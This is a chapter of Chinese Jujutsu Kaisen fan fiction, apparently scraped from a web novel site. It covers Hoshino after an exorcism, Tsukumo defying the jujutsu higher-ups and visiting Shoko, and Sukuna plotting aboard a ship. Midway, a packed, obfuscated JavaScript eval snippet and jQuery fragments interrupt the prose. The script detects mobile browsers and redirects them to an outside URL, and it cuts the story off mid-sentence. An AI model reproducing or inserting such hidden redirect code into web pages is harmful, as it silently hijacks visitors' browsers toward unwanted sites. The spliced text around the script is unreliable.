开车的辅助监督顶着同僚的注视离开,心中不免与有荣焉,握着方向盘的手因心中情绪激荡而紧了好几回,终于忍不住发问:“您一开始就知道要这么祓除吗?”

    毕竟浅鹏隐藏得非常好,甚至骗过了他自己本人。不能直接开战的情况下,搞清楚他的术式细节和弱点就很难。

    但星野却一眼看了出来,绕着弯子,用疲惫削弱咒灵本体,同时通知辅助监督一个个破除小镇居民身上的人设卡。

    “不,一开始确实很麻烦,推测可能是诅咒吸食生命力或者共享生死之类的东西,我的眼睛不像五条那么好用。”幸好只是修改人设,以天道平衡角度讲,如此的隐蔽能力,如果再加上麻烦的效果,就有些不公平了。

    实际上,星野刚下车时没长前后眼,同样陷入破案难题中,好在这个咒灵有目的,直接凑上来要将人设卡作用于星野,她趁着爬山甩开两人,仔细观察了下那个卡片。

    后面便顺理成章,她根据西见监督说的舅侄相见过程,推断全镇的居民都有类似人设卡,而且时间不会太长,可以尝试逐个击破免除影响。

    但那样很容易被咒灵本体察觉,功亏一篑,所以星野决定扮演一个任性没人情味的上司,遛着两人满山跑,这时候再有不适,咒灵以为自己是人类,自然也会认为是累的。

    当然,咒灵对自己有人设,也是赌出来的,如果它真的中途撕破脸皮,也只能对小镇居民说抱歉,她要下手杀掉咒灵,免得造成更大影响。

    说是赌,其实是小镇居民在不知情的情况下,被星野放在悬崖边命悬一线过。

    “原来如此——”辅助监督听到星野角度的分析,不由赞叹:“呀,真是果断呐。”

    他藏在心里的话是,这么多条人命背在身上,自己一定会压力很重从而束手束脚不敢动作,否则即使法律上没有惩罚,心里也会很多年过不去。

    但是这位特级竟然就在几个小时间,顶着如此大心理负担,带着所有人无伤通关了。

    大概内心并不像表面那么云淡风轻,星野感叹:“夜蛾校长曾说咒术师和死亡常伴,所有人都心知肚明,听多了以为自己游刃有余,可实际都半懂不懂。”

    她其实在说自己曾经半懂不懂,望着窗外不断闪过的树枝,她回想起自己从觉醒以来坎坷不堪的成长路,时间算来也就几个月,心境却已大不相同。

    如今琢磨下来,唯一的感想,竟然是希望下一代过平庸普通的生活——她眼前闪过一年级、二年级,这些孩子言语老成,深谙术式规则,战斗姿势和觉悟不在任何人之下,但和成年人站在一起,毫无纹路、神采奕奕的脸庞还是显出稚嫩。

    “半懂——不懂——”辅助监督心中有所触动,同为游走在正常世界之外的人士,他想的更多是东京陷落时那些冲进险境打通出逃通路的辅助监督们。

    拐出黑沉沉的夜路,属于城市的灯火将车窗映出五彩斑斓的色彩,下一个工作到了,前面短暂的反刍立刻停下,星野降下车窗,在手指凝出咒力。

    连夜不休的工作要继续了。

    *

    夜色下,东京咒高沉入黑暗,路灯亮起,熟悉的景色在若隐若现中多了几分暧昧,需要定睛细看,才能想起,噢,原来自己曾在这里做了什么事情,原来经过这么多年这里还没变。

    趁着两位特级都在忙碌,咒术总监借着传递消息,组织了一个大会议,邀请九十九由基阻止五条悟的独裁。

    还沉浸在故地重游的九十九闻言抬眼,清亮的声线穿透阴沉沉的会议室:“你们是不是忘了,我是为了救人才回到这里的,不是为了听你们命令。”

    一道门后,某个不断咳嗽的老声尖啸:“不行,你必须这么做,五条悟的独裁即将覆灭霓虹!”至少被教训了一顿的他,就在被覆灭的边界线上。

    对此,特级才不听。

    “对了”,在摔门而出前,九十九戏谑地说:“你们真的确定那个新特级会站在你们这边?听说上次差点掀桌子的也是她。”

    众人沉默,为首的沉声回复:“但他们两个不是无懈可击,之前他们的关系非常差——”

    没等这些人放完屁,九十九留下一句“我怎么听说他们关系好到不行~”,便推门离开。

    既然咒术总监被半架空,那么接任务、获取信息等,就不必非要依附他们,五条悟的独裁倒是好事。

    九十九如此想着,来到家入硝子的医疗室。

    “哟厚~”高挑的女人撑着门框,礼貌打招呼后,眼神便落在硝子肩头的骷髅手臂上,“这就是那个无限回蓝的手臂?”

    家入硝子的脸色红润,黑眼圈比起上次要淡很多,几乎瞬间,九十九已经相信情报中所说的那些不可思议的事。

    “消息真灵通呐,九十九特级。”

    比出一个OK手势,九十九大方展示自己消息的来源。

    “钱吗?真是的。”硝子知道了谁在贩卖消息,“现在五条和星野两个特级基本稳定住了情况,她也能安心转移资产了。”随后她转向九十九,语气平静地说:“您这次回来,是帮忙协助解决结界的事?”

    做出被风吹倒的姿势,九十九没什么架子的诉苦:“听说了夏油君在东京闹出的事情,我自认有几分责任,丢下研究立刻回来,没想到后辈们很靠谱呢,东京比我上次回来还要干净、干净、干净得多!”

    九十九强调了三次干净,令硝子失笑,同时明白其到访理由,“您是就近来问一下,我是否被改造成了那样的怪物吗,很遗憾,不行呢,我的咒力托星野的福暂时无限,但输出功率不高,无法覆盖太大地方。”

    咒力无限,相当于无限续杯,但不同之处在于,硝子每次泼水也只有一水杯的咒力,即使续了,也只能一水杯一水杯的输出,不如星野那海啸一般的量。

    “还是要亲眼见见呐。”九十九托腮深思,随后像来时一样,打个招呼便飞速跑路,“我去仙台那个结界看看,听说你爱喝酒,下次一起喝点~”

    望着转眼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778251|204450||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就空荡荡的门口,硝子重新点起烟,“夏油吗......”

    这几天事态发展迅速,各方势力争相掺和,反而夏油这个一切事情的始作俑者从中安静抽身,据清剿的咒术师反馈,他那个教派已经人去楼空,趁着咒术界人手不足转移得非常迅速。

    “不,一切的开始应该是羂索吧。”硝子暗自摇头,虽然细节模糊,但五条和星野说从十几年前那次事件开始,所有人都无声无息踏入了圈套。而硝子作为旁观者,一路看着他们在漩涡里挣扎......

    她从抽屉里拿出一瓶酒,拧开瓶盖闻了闻酒味,很快又被紧急的救治打断。

    *

    霓虹的国界,有人进入,就有人出。

    一艘临时增加班次的豪华船舱,此刻寂静无声,除了因为音乐大厅里堆叠的男女老少尸体,还因为这艘船当前的主人正在一条长桌尽头品尝菜肴。

    里梅端着餐盘轻放在铺着丝绸的桌上,轻轻上抬两分脖颈,他瞥见主人正饶有兴致翻着菜单,并没有关注他端来的菜,心中顿时有些愤恨,觉得人类千年后更显得可恨。

    良久,宿傩将菜单扔在一边,兴致败得差不多:“千年后,人类没搞出更多花样,肉也没什么嚼头,看上去干瘦的吃起来却肥腻,不事生产,没有贴骨肉,只剩一点皮,要不就是一看就腻得不行。”

    “现代人追求病态的瘦弱,即使食物富足,也与饥荒时候的灾民相似。”里梅立在一边,规矩地解答。

    “真是不知足呐。”宿傩感叹,同时嘲讽人类真是千年不改,内心薄弱,所以拼命挤进人群、博得认同,“此时此刻,正如彼时彼刻,何其相似。”

    唯一不错的,就是丰富的海产,这让宿傩暂时能提起两分兴趣。

    里梅报告目前的行程:“全速推进,大概要一天后到达羂索曾经的藏身地。”

    “做得好。”宿傩眉头一挑,突然想起另一件事,“现在霓虹岛上如何?”

    “咒术师正在地毯式清楚诅咒,但想来时代之势无法阻拦。”

    “哼,情报呢?”

    得知天元结界仍存在后,宿傩就知道不能在岛上待着了,他不畏战,却深知战斗的艺术,如果说战斗的公平和战斗的胜利二选一,他会选择杀掉提问的人。

    也就是说,他要保证天平足够向自己倾斜,同时获得战斗的胜利,如果对方叫嚣不公平,那一定是他杀慢了。

    因此情报的不对立是关键,他刚刚复苏,在明明有选择的情况下,对现代咒术师一无所知就直接对上,无异于莽夫,让对方对自己一知半解,而自己对对方已了如指掌,才是正确的胜利。

    “这点请宿傩大人惩罚,通过羂索之前建立的情报网,现存几个特级只能收集到基础术式信息——”

    宿傩打断他,“不用在意,强者的信息只能靠强者挖掘。”收集不到,反而说明他们足够强,只用基本的术式就能应付局面。

    遥望氤氲着暴雨的大海,宿傩心想,再等一个时机。